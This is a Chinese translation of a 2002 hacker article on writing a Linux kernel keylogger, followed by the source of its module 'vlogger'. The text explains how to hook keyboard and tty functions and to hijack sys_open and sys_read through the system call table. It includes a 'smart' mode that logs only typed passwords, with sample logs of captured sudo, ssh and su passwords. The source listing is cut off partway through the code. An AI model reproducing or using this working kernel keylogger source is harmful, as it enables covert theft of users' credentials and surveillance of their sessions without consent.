整理:e4gle(大鷹)
|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ rd
]=-------------------=| |=------------------------=[ June 19th, 2002 ]=--------------------------=| |=------------------=[ 整理:e4gle from whitecell.org]=-------------------=| |=------------------------=[ Aug 12th, 2002 ]=--------------------------=| --[ Contents 1 - 介紹 2 - linux的keyboard驅動是如何工作的 3 - 基於內核的鍵盤紀錄的原理 3.1 - 中斷句柄 3.2 - 函數劫持 3.2.1 - 劫持handle_scancode 3.2.2 - 劫持put_queue 3.2.3 - 劫持receive_buf 3.2.4 - 劫持tty_read 3.2.5 - 劫持sys_read/sys_write 4 - vlogger 4.1 - 工作原理 4.2 - 功能及特點 4.3 - 如何使用 5 - 感謝 6 - 參考資料 7 - Keylogger源代碼 --[ 1 - 介紹 本文分成兩個部分。第一部分給出了linux鍵盤驅動的工作原理,並且討論了建立一個基於 內核的鍵盤紀錄器的方法。這部分內容對那些想寫一個基於內核的鍵盤紀錄器,或者寫一個 自己鍵盤驅動的朋友會有幫助。 第二部分詳細描述了vlogger的每個細節,vlogger是一個強大的基於內核的linux鍵盤紀錄器, 以及如何來使用它。這向技術可以運用在蜜罐系統中,也可以做成一些很有意思的hacker game, 主要用來分析和採集hacker的攻擊手法。我們都知道,一些大家熟知的鍵盤紀錄器,如iob, uberkey,unixkeylogger等,它們是基於用戶層的。這裡介紹的是基於內核層的鍵盤紀錄器。 最早期的基於內核的鍵盤紀錄器是linspy,它發表在phrack雜誌第50期。而現代的kkeylogger( 後面我們將用kkeylogger來表示基於內核的鍵盤紀錄器)廣泛採用的手法是中斷sys_read或者 sys_write系統調用來對用戶的擊鍵進行記錄。 顯然,這種方法是很不穩定的並且會明顯的降低系統的速度,因為我們中斷的恰恰是系統使用最 頻繁的兩個系統調用sys_read,sys_write;sys_read在每個進程需要讀寫設備的時候都會用到。 在vlogger里,我用了一個更好的方法,就是劫持tty buffer進程函數,下面會介紹到。 我假定讀者熟悉linux的可載入模塊的原理和運作過程,如果不熟悉,推薦大家首先閱讀我以前寫 過的linux kernel simple hacking,或者linux tty hijack,(在http://e4gle.org有下載), 參閱《linux驅動程序設計》來獲得相關的理論基礎知識。 --[ 2 - linux鍵盤驅動的工作原理 首先讓我們通過以下的結構圖來了解一下用戶從終端的擊鍵是如何工作的: _____________ _________ _________ / \ put_queue| |receive_buf| |tty_read /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|-------> \ / | | |buffer | \_____________/ |_________| |_________| _________ ____________ | |sys_read| | --->|/dev/ttyX|------->|user process| | | | | |_________| |____________| Figure 1 首先,當你輸入一個鍵盤值的時候,鍵盤將會發送相應的scancodes給鍵盤驅動。一個獨立的 擊鍵可以產生一個六個scancodes的隊列。 鍵盤驅動中的handle_scancode()函數解析scancodes流並通過kdb_translate()函數里的 轉換表(translation-table)將擊鍵事件和鍵的釋放事件(key release events)轉換成連 續的keycode。 比如,'a'的keycode是30。擊鍵』a'的時候便會產生keycode 30。釋放a鍵的時候會產生 keycode 158(128+30)。 然後,這些keycode通過對keymap的查詢被轉換成相應key符號。這步是一個相當 複雜的過程。 以上操作之後,獲得的字元被送入raw tty隊列--tty_flip_buffer。 receive_buf()函數周期性的從tty_flip_buffer中獲得字元,然後把這些字元送入 tty read隊列。 當用戶進程需要得到用戶的輸入的時候,它會在進程的標準輸入(stdin)調用read()函數。 sys_read()函數調用定義在相應的tty設備(如/dev/tty0)的file_operations結構 中指向tty_read的read()函數來讀取字元並且返回給用戶進程。 /*e4gle add file_operations是文件操作結構,定義了文件操作行為的成員,結構如下,很容易理解: struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char *, size_t, loff_t *);<----這是本文提到的read函數 ssize_t (*write) (struct file *, const char *, size_t, loff_t *); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, struct dentry *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *); ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); }; 我們直到unix系統中設備也是文件,所以tty設備我們也可以進行文件操作。 */ 鍵盤驅動器可以有如下4種模式: - scancode(RAW模式):應用程序取得輸入的scancode。這種模式通常 用於應用程序實現自己的鍵盤驅動器,比如X11程序。 - keycode(MEDIUMRAW模式):應用程序取得key的擊鍵和釋放行為(通過 keycode來鑒別這兩種行為)信息。 - ASCII(XLATE模式):應用程序取得keymap定義的字元,該字元是 8位編碼的。 - Unicode(UNICODE模式):此模式唯一和ASCII模式不同之處就是UNICODE模式 允許用戶將自己的10進位值編寫成UTF8的unicode字元,如十進位的數可以編寫成 Ascii_0到Ascii_9,或者用戶16進位的值可以用Hex_0到Hex_9來代表。一個keymap 可以產生出一系列UTF8的序列。 以上這些驅動器的工作模式決定了應用程序所取得的鍵盤輸入的數據類型。大家如果需要詳細了解scancode, keycode和keymaps的相關信息,參看read[3]。 --[ 3 - 基於內核的鍵盤紀錄器的實現步驟 我們論述兩種實現方法,一個是書寫我們自己的鍵盤中斷句柄,另一個是劫持輸入進程函數. ----[ 3.1 - 中斷句柄 要紀錄擊鍵信息,我們就要利用我們自己的鍵盤中斷。在Intel體系下,控制鍵盤的IRQ值是1。 當接受到一個鍵盤中斷時,我們的鍵盤中斷器會讀取scancode和鍵盤的狀態。讀寫鍵盤事件 都是通過0x60埠(鍵盤數據註冊器)和0x64(鍵盤狀態註冊器)來實現的。 /* 以下代碼都是intel格式 */ #define KEYBOARD_IRQ 1 #define KBD_STATUS_REG 0x64 #define KBD_CNTL_REG 0x64 #define KBD_DATA_REG 0x60 #define kbd_read_input() inb(KBD_DATA_REG) #define kbd_read_status() inb(KBD_STATUS_REG) #define kbd_write_output(val) outb(val, KBD_DATA_REG) #define kbd_write_command(val) outb(val, KBD_CNTL_REG) /* 註冊我們的IRQ句柄*/ request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL); 在my_keyboard_irq_handler()函數中定義如下: scancode = kbd_read_input(); key_status = kbd_read_status(); log_scancode(scancode); 這種方法不方便跨平台操作。而且很容易crash系統,所以必須小心操作你的終端句柄。 ----[ 3.2 - 函數劫持 在第一種思路的基礎上,我們還可以通過劫持handle_scancode(),put_queue(),receive_buf(), tty_read()或者sys_read()等函數來實現我們自己的鍵盤紀錄器。注意,我們不能劫持 tty_insert_flip_char()函數,因為它是一個內聯函數。 ------[ 3.2.1 - handle_scancode函數 它是鍵盤驅動程序中的一個入口函數(有興趣可以看內核代碼keynoard.c)。 # /usr/src/linux/drives/char/keyboard.c void handle_scancode(unsigned char scancode, int down); 我們可以這樣,通過替換原始的handle_scancode()函數來實現紀錄所有的scancode。這就我們 在lkm後門中劫持系統調用是一個道理,保存原來的,把新的註冊進去,實現我們要的功能,再調用 回原來的,就這麼簡單。就是一個內核函數劫持技術。 /* below is a code snippet written by Plasmoid */ static struct semaphore hs_sem, log_sem; static int logging=1; #define CODESIZE 7 static char hs_code[CODESIZE]; static char hs_jump[CODESIZE] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ; void (*handle_scancode) (unsigned char, int) = (void (*)(unsigned char, int)) HS_ADDRESS; void _handle_scancode(unsigned char scancode, int keydown) { if (logging && keydown) log_scancode(scancode, LOGFILE); /*恢復原始handle_scancode函數的首幾個位元組代碼。調用恢復后的原始函數並且 *再次恢復跳轉代碼。 */ down(&hs_sem); memcpy(handle_scancode, hs_code, CODESIZE); handle_scancode(scancode, keydown); memcpy(handle_scancode, hs_jump, CODESIZE); up(&hs_sem); } HS_ADDRESS這個地址在執行Makefile文件的時候定義: HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode)) 其實就是handle_scancode在ksyms導出的地址。 類似3.1節中提到的方法,這種方法對在X和終端下紀錄鍵盤擊鍵也很有效果,和是否調用 tty無關。這樣你就可以紀錄下鍵盤上的正確的擊鍵行為了(包括一些特殊的key,如ctrl,alt, shift,print screen等等)。但是這種方法也是不能跨平台操作,畢竟是靠lkm實現的。同樣 它也不能紀錄遠程會話的擊鍵並且也很難構成相當複雜的高級紀錄器。 ------[ 3.2.2 - put_queue函數 handle_scancode()函數會調用put_queue函數,用來將字元放入tty_queue。 /*e4gle add put_queue函數在內核中定義如下: void put_queue(int ch) { wake_up(&keypress_wait); if (tty) { tty_insert_flip_char(tty, ch, 0); con_schedule_flip(tty); } } */ # /usr/src/linux/drives/char/keyboard.c void put_queue(int ch); 劫持這個函數,我們可以利用和上面劫持handle_scancode函數同樣的方法。 ------[ 3.2.3 - receive_buf函數 底層tty驅動調用receive_buf()這個函數用來發送硬體設備接收處理的字元。 # /usr/src/linux/drivers/char/n_tty.c */ static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) 參數cp是一個指向設備接收的輸入字元的buffer的指針。參數fp是一個指向一個標記位元組指針的指針。 讓我們深入的看一看tty結構 # /usr/include/linux/tty.h struct tty_struct { int magic; struct tty_driver driver; struct tty_ldisc ldisc; struct termios *termios, *termios_locked; ... } # /usr/include/linux/tty_ldisc.h struct tty_ldisc { int magic; char *name; ... void (*receive_buf)(struct tty_struct *, const unsigned char *cp, char *fp, int count); int (*receive_room)(struct tty_struct *); void (*write_wakeup)(struct tty_struct *); }; 要劫持這個函數,我們可以先保存原始的tty receive_buf()函數,然後重置ldisc.receive_buf到 我們的new_receive_buf()函數來記錄用戶的輸入。 舉個例子:我們要記錄在tty0設備上的輸入。 int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); struct tty_struct *tty = file->private_data; old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函數 tty->ldisc.receive_buf = new_receive_buf; //替換成新的new_receive_buf函數 //新的new_receive_buf函數 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { logging(tty, cp, count); //紀錄用戶擊鍵 /* 調用回原來的receive_buf */ (*old_receive_buf)(tty, cp, fp, count); } /*e4gle add 其實這裡新的new_receive_buf函數只是做了個包裹,技術上實現大同小異,包括劫持系統調用 內核函數等,技術上歸根都比較簡單,難點在於如何找到切入點,即劫持哪個函數可以達到目的,或者 效率更高更穩定等,這就需要深入了解這些內核函數的實現功能。 */ ------[ 3.2.4 - tty_read函數 當一個進程需要通過sys_read()函數來讀取一個tty終端的輸入字元的時候,tty_read函數就會被調用。 # /usr/src/linux/drives/char/tty_io.c static ssize_t tty_read(struct file * file, char * buf, size_t count, loff_t *ppos) static struct file_operations tty_fops = { llseek: tty_lseek, read: tty_read, write: tty_write, poll: tty_poll, ioctl: tty_ioctl, open: tty_open, release: tty_release, fasync: tty_fasync, }; 還是舉上面的紀錄來自tty0的輸入信息的例子: int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); old_tty_read = file->f_op->read; //保存原來的tty_read file->f_op->read = new_tty_read; //替換新的tty_read函數 /*e4gle add 劫持這個函數的具體實現代碼就不多說了,和上面是一樣的,我這裡寫出來給大家參考一下: static ssize_t new_tty_read(struct file * file, char * buf, size_t count, loff_t *ppos) { struct tty_struct *tty = file->private_data; logging(tty, buf, count); //紀錄用戶擊鍵 /* 調用回原來的tty_read */ (*old_tty_read)(file, buf, count, ppos); } */ ------[ 3.2.5 - sys_read/sys_write函數 截獲sys_read/sys_write這兩個系統調用來實現的技術我不說了,在很早的quack翻譯 的「linux內核可載入模塊編程完全指南」中就提到了這種技術,在我寫的「linux kernel hacking」 若干教程中也明明白白反反覆復提到過,phrack雜誌也早在50期的第四篇文章里也介紹到, 如果大家不明白請參考以上文獻。 我提供以下code來實現劫持sys_read和sys_write系統調用: extern void *sys_call_table[]; original_sys_read = sys_call_table[__NR_read]; sys_call_table[__NR_read] = new_sys_read; 當然除了替換sys_call_table表之外還有很多方法,在phrack59中的高級kernel hacking一文 中詳細針對現有的幾種劫持系統調用的方法有演示代碼,這裡不多做介紹了。 --[ 4 - vlogger 這節介紹一下一個內核鍵盤紀錄器vlogger,是本文的原作者的大作,它是通過3.2.3節中 介紹的方法來實現紀錄用戶擊鍵的,也利用了劫持sys_read/sys_write系統調用來做補充。 vlogger在如下內核中測試通過:2.4.5,2.4.7,2.4.17,2.4.18。 ----[ 4.1 - 步驟 要記錄下本地(紀錄終端的信息)和遠程會話的鍵盤擊鍵 ,我選擇劫持receive_buf函數的 方法(見3.2.3節)。 在內核中,tty_struct和tty_queue結構僅僅在tty設備打開的時候被動態分配。因而,我們 同樣需要通過劫持sys_open系統調用來動態的hooking這些每次調用時的每個tty或pty的 receive_buf()函數。 // 劫持sys_open調用 original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open; // new_sys_open() asmlinkage int new_sys_open(const char *filename, int flags, int mode) { ... //調用original_sys_open ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; ... file = fget(ret); tty = file->private_data; if (tty != NULL && ... tty->ldisc.receive_buf != new_receive_buf) { ... // 保存原來的receive_buf old_receive_buf = tty->ldisc.receive_buf; ... /* * 開始劫持該tty的receive_buf函數 * tty->ldisc.receive_buf = new_receive_buf; */ init_tty(tty, TTY_INDEX(tty)); } ... } // 我們的新的receive_buf()函數 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // 忽略 raw模式 // 調用我們的logging函數來記錄用戶擊鍵 vlogger_process(tty, cp, count); // 調用回原來的receive_buf (*old_receive_buf)(tty, cp, fp, count); } ----[ 4.2 - 功能及特點 - 可以記錄本地和遠程會話的所有擊鍵(通過tty和pts) - 按每個tty/會話分開紀錄。每個tty都有他們自己的紀錄緩衝區。 - 幾乎支持所有的特殊鍵如方向鍵(left,riht,up,down),F1到F12,Shift+F1到Shift+F12, Tab,Insert,Delete,End,Home,Page Up,Page Down,BackSpace,等等 - 支持一些行編輯鍵包括ctrl-U和BackSpace鍵等。 - 時區支持 - 多種日誌模式 o dumb模式: 紀錄所有的擊鍵行為 o smart模式: 只記錄用戶名/密碼。這裡我用了solar designer和dug song的"Passive Analysis of SSH (Secure Shell) Traffic"文章中的一個小技術來實現的。當應用程序返回的 輸入回顯關閉的時候(就是echo -off),就認為那是用戶在輸入密碼,我們過濾下來 就是了:) o normal模式: 禁止紀錄 用戶可以通過利用MAGIC_PASS宏和VK_TOGLE_CHAR宏(MAGIC_PASS這個宏定義了切換密 碼,VK_TOGLE_CHAR定義了一個keycode來做為切換熱鍵)來切換日誌模式。 #define VK_TOGLE_CHAR 29 // CTRL-] #define MAGIC_PASS "31337" //要切換日誌模式,輸入MAGIC_PASS,然後敲擊VK_TOGLE_CHAR鍵 ----[ 4.3 - 如何使用 以下是一些可改變的選項 // 日誌存放路徑的宏 #define LOG_DIR "/tmp/log" // 本地的時區 #define TIMEZONE 7*60*60 // GMT+7 // 切換日誌模式的密碼的宏 #define MAGIC_PASS "31337" 以下列出了紀錄后的日誌目錄結構: [e4gle@redhat72 log]# ls -l total 60 -rw------- 1 root root 633 Jun 19 20:59 pass.log -rw------- 1 root root 37593 Jun 19 18:51 pts11 -rw------- 1 root root 56 Jun 19 19:00 pts20 -rw------- 1 root root 746 Jun 19 20:06 pts26 -rw------- 1 root root 116 Jun 19 19:57 pts29 -rw------- 1 root root 3219 Jun 19 21:30 tty1 -rw------- 1 root root 18028 Jun 19 20:54 tty2 ---在dumb模式中 [e4gle@redhat72 log]# head tty2 //本地會話 <19> pwd <19> uname -a <19> lsmod <19> pwd <19> cd /var/log <19> tail messages <19> cd ~ <19> ls <19> tty <19> [UP] [e4gle@redhat72 log]# tail pts11 // 遠程會話 <19> cd new <19> cp -p ~/code . <19> lsmod <19> cd /va[TAB][^H][^H]tmp/log/ <19> ls -l <19> tail pts11 <19> [UP] | more <19> vi vlogertxt <19> :q <19> rmmod vlogger ---在smart模式中 [e4gle@redhat72 log]# cat pass.log [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo] USER/CMD sudo traceroute yahoo.com PASS 5hgt6d PASS [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh] USER/CMD ssh guest@host.com PASS guest [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp] USER/CMD open ftp.ilog.fr USER Anonymous PASS heh@heh [19/06/2002-20:59:54 tty=pts/29 uid=504 su] USER/CMD su - PASS asdf1234 --[ 5 - 感謝 感謝plasmoid, skyper的大力幫助,感謝THC,vnsecurity等組織的所有朋友們。 最後,感謝thang先生的英文翻譯。 //e4gle add 到此,全文介紹完了,大家有興趣可以試試代碼,其實這裡涉及的技術無非還是系統調用和內核函數 的劫持技術,我整理過的一篇tty劫持的文章,大家也可以對比一下。其實vlogger也有一定的缺陷, 它還是通過sys_call_table的方法來劫持系統調用open的,那很容易被kstat等工具發現,關於更 隱藏的劫持技術在phrack59的advance kernel hacking一文里有5個例子詳細介紹了更多的辦法, 大家可以參考這些文獻。 --[ 6 - 參考資料 [1] Linux Kernel Module Programming http://www.tldp.org/LDP/lkmpg/ [2] Complete Linux Loadable Kernel Modules - Pragmatic http://www.thehackerschoice.com/papers/LKM_HACKING.html [3] The Linux keyboard driver - Andries Brouwer http://www.linuxjournal.com/lj-issues/issue14/1080.html [4] Abuse of the Linux Kernel for Fun and Profit - Halflife http://www.phrack.com/phrack/50/P50-05 [5] Kernel function hijacking - Silvio Cesare http://www.big.net.au/~silvio/kernel-hijack.txt [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt [7] Kernel Based Keylogger - Mercenary http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt --[ 7 - Keylogger的源代碼 <++> vlogger/Makefile # # vlogger 1.0 by rd # # LOCAL_ONLY logging local session only. Doesn't intercept # sys_open system call # DEBUG Enable debug. Turn on this options will slow # down your system # KERNELDIR =/usr/src/linux include $(KERNELDIR)/.config MODVERFILE = $(KERNELDIR)/include/linux/modversions.h MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \ -Wstrict-prototypes -fomit-frame-pointer -pipe \ -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \ -malign-functions=2 all : vlogger.o vlogger.o: vlogger.c $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@ clean: rm -f *.o <--> <++> vlogger/vlogger.c /* * vlogger 1.0 * * Copyright (C) 2002 rd * * Please check http://www.thehackerschoice.com/ for update * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * Greets to THC & vnsecurity * */ #define __KERNEL_SYSCALLS__ #include #include #include #include #include #include #include #include #include #include #include #include #ifndef KERNEL_VERSION #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c)) #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9) MODULE_LICENSE("GPL"); MODULE_AUTHOR("rd@vnsecurity.net"); #endif #define MODULE_NAME "vlogger " #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n" #ifdef DEBUG #define DPRINT(format, args...) printk(MODULE_NAME format, ##args) #else #define DPRINT(format, args...) #endif #define N_TTY_NAME "tty" #define N_PTS_NAME "pts" #define MAX_TTY_CON 8 #define MAX_PTS_CON 256 #define LOG_DIR "/tmp/log" #define PASS_LOG LOG_DIR "/pass.log" #define TIMEZONE 7*60*60 // GMT+7 #define ESC_CHAR 27 #define BACK_SPACE_CHAR1 127 // local #define BACK_SPACE_CHAR2 8 // remote #define VK_TOGLE_CHAR 29 // CTRL-] #define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and // VK_TOGLE_CHAR #define VK_NORMAL 0 #define VK_DUMBMODE 1 #define VK_SMARTMODE 2 #define DEFAULT_MODE VK_DUMBMODE #define MAX_BUFFER 256 #define MAX_SPECIAL_CHAR_SZ 12 #define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \ + (tty)->driver.name_base #define TTY_INDEX(tty) tty->driver.type == \ TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \ TTY_NUMBER(tty):TTY_NUMBER(tty) #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty) #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \ buf, count) #define TTY_NAME(tty) (tty->driver.type == \ TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \ tty->driver.type == TTY_DRIVER_TYPE_PTY && \ tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"") #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds()); #define END_KMEM set_fs(old_fs); } extern void *sys_call_table[]; int errno; struct tlogger { struct tty_struct *tty; char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ]; int lastpos; int status; int pass; }; struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL }; void (*old_receive_buf)(struct tty_struct *, const unsigned char *, char *, int); asmlinkage int (*original_sys_open)(const char *, int, int); int vlogger_mode = DEFAULT_MODE; /* Prototypes */ static inline void init_tty(struct tty_struct *, int); /* static char *_tty_make_name(struct tty_struct *tty, const char *name, char *buf) { int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0; if (!tty) strcpy(buf, "NULL tty"); else sprintf(buf, name, idx + tty->driver.name_base); return buf; } char *tty_name(struct tty_struct *tty, char *buf) { return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf); } */ #define SECS_PER_HOUR (60 * 60) #define SECS_PER_DAY (SECS_PER_HOUR * 24) #define isleap(year) \ ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0)) #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0)) #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400)) struct vtm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; }; /* * Convert from epoch to date */ int epoch2time (const time_t *t, long int offset, struct vtm *tp) { static const unsigned short int mon_yday[2][13] = { /* Normal years. */ { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }, /* Leap years. */ { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 } }; long int days, rem, y; const unsigned short int *ip; days = *t / SECS_PER_DAY; rem = *t % SECS_PER_DAY; rem += offset; while (rem < 0) { rem += SECS_PER_DAY; --days; } while (rem >= SECS_PER_DAY) { rem -= SECS_PER_DAY; ++days; } tp->tm_hour = rem / SECS_PER_HOUR; rem %= SECS_PER_HOUR; tp->tm_min = rem / 60; tp->tm_sec = rem % 60; y = 1970; while (days < 0 || days >= (isleap (y) ? 366 : 365)) { long int yg = y + days / 365 - (days % 365 < 0); days -= ((yg - y) * 365 + LEAPS_THRU_END_OF (yg - 1) - LEAPS_THRU_END_OF (y - 1)); y = yg; } tp->tm_year = y - 1900; if (tp->tm_year != y - 1900) return 0; ip = mon_yday[isleap(y)]; for (y = 11; days < (long int) ip[y]; --y) continue; days -= ip[y]; tp->tm_mon = y; tp->tm_mday = days + 1; return 1; } /* * Get current date & time */ void get_time (char *date_time) { struct timeval tv; time_t t; struct vtm tm; do_gettimeofday(&tv); t = (time_t)tv.tv_sec; epoch2time(&t, TIMEZONE, &tm); sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min, tm.tm_sec); } /* * Get task structure from pgrp id */ inline struct task_struct *get_task(pid_t pgrp) { struct task_struct *task = current; do { if (task->pgrp == pgrp) { return task; } task = task->next_task; } while (task != current); return NULL; } #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos)) #define WRITABLE(f) (f->f_op && f->f_op->write) int write_to_file(char *logfile, char *buf, int size) { int ret = 0; struct file *f = NULL; lock_kernel(); BEGIN_KMEM; f = filp_open(logfile, O_CREAT|O_APPEND, 00600); if (IS_ERR(f)) { DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile); ret = -1; } else { if (WRITABLE(f)) _write(f, buf, size); else { DPRINT("%s does not have a write method\n", logfile); ret = -1; } if ((ret = filp_close(f,NULL))) DPRINT("Error %d closing %s\n", -ret, logfile); } END_KMEM; unlock_kernel(); return ret; } #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0; #define END_ROOT current->fsuid = saved_fsuid; } /* * Logging keystrokes */ void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) { int i; char logfile[256]; char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256]; char date_time[24]; struct task_struct *task; if (vlogger_mode == VK_NORMAL) return; if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont)) return; task = get_task(tty->pgrp); for (i=0; ilastpos; i++) if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A; if (!cont) tmp->buf[tmp->lastpos++] = 0x0A; tmp->buf[tmp->lastpos] = 0; if (vlogger_mode == VK_DUMBMODE) { snprintf(logfile, sizeof(logfile)-1, "%s/%s%d", LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty)); BEGIN_ROOT if (!tmp->status) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo)-1, "<%s uid=%d %s> %s", date_time, task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo)-1, "<%s> %s", date_time, tmp->buf); write_to_file(logfile, loginfo, strlen(loginfo)); } else { write_to_file(logfile, tmp->buf, tmp->lastpos); } END_ROOT #ifdef DEBUG if (task) DPRINT("%s/%d uid=%d %s: %s", TTY_NAME(tty), TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else DPRINT("%s", tmp->buf); #endif tmp->status = cont; } else { /* * Logging USER/CMD and PASS in SMART_MODE */ BEGIN_ROOT if (!tmp->pass) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo)-1, "\n[%s tty=%s/%d uid=%d %s]\n" "USER/CMD %s", date_time, TTY_NAME(tty),TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo)-1, "\n[%s tty=%s/%d]\nUSER/CMD %s", date_time, TTY_NAME(tty), TTY_NUMBER(tty), tmp->buf); write_to_file(PASS_LOG, loginfo, strlen(loginfo)); } else { snprintf(loginfo, sizeof(loginfo)-1, "PASS %s", tmp->buf); write_to_file (PASS_LOG, loginfo, strlen(loginfo)); } END_ROOT #ifdef DEBUG if (!tmp->pass) DPRINT("USER/CMD %s", tmp->buf); else DPRINT("PASS %s", tmp->buf); #endif } if (!cont) tmp->buf[--tmp->lastpos] = 0; } #define resetbuf(t) \ { \ t->buf[0] = 0; \ t->lastpos = 0; \ } #define append_c(t, s, n) \ { \ t->lastpos += n; \ strncat(t->buf, s, n); \ } static inline void reset_all_buf(void) { int i = 0; for (i=0; iif (ttys[i] != NULL) resetbuf(ttys[i]); } void special_key(struct tlogger *tmp, const unsigned char *cp, int count) { switch(count) { case 2: switch(cp[1]) { case '\'': append_c(tmp, "[ALT-\']", 7); break; case ',': append_c(tmp, "[ALT-,]", 7); break; case '-': append_c(tmp, "[ALT--]", 7); break; case '.': append_c(tmp, "[ALT-.]", 7); break; case '/': append_c(tmp, "[ALT-/]", 7); break; case '0': append_c(tmp, "[ALT-0]", 7); break; case '1': append_c(tmp, "[ALT-1]", 7); break; case '2': append_c(tmp, "[ALT-2]", 7); break; case '3': append_c(tmp, "[ALT-3]", 7); break; case '4': append_c(tmp, "[ALT-4]", 7); break; case '5': append_c(tmp, "[ALT-5]", 7); break; case '6': append_c(tmp, "[ALT-6]", 7); break; case '7': append_c(tmp, "[ALT-7]", 7); break; case '8': append_c(tmp, "[ALT-8]", 7); break; case '9': append_c(tmp, "[ALT-9]", 7); break; case ';': append_c(tmp, "[ALT-;]", 7); break; case '=': append_c(tmp, "[ALT-=]", 7); break; case '[': append_c(tmp, "[ALT-[]", 7); break; case '\\': append_c(tmp, "[ALT-\\]", 7); break; case ']': append_c(tmp, "[ALT-]]", 7); break; case '`': append_c(tmp, "[ALT-`]", 7); break; case 'a': append_c(tmp, "[ALT-A]", 7); break; case 'b': append_c(tmp, "[ALT-B]", 7); break; case 'c': append_c(tmp, "[ALT-C]", 7); break; case 'd': append_c(tmp, "[ALT-D]", 7); break; case 'e': append_c(tmp, "[ALT-E]", 7); break; case 'f': append_c(tmp, "[ALT-F]", 7); break; case 'g': append_c(tmp, "[ALT-G]", 7); break; case 'h': append_c(tmp, "[ALT-H]", 7); break; case 'i': append_c(tmp, "[ALT-I]", 7); break; case 'j': append_c(tmp, "[ALT-J]", 7); break; case 'k': append_c(tmp, "[ALT-K]", 7); break; case 'l': append_c(tmp, "[ALT-L]", 7); break; case 'm': append_c(tmp, "[ALT-M]", 7); break; case 'n': append_c(tmp, "[ALT-N]", 7); break; case 'o': append_c(tmp, "[ALT-O]", 7); break; case 'p': append_c(tmp, 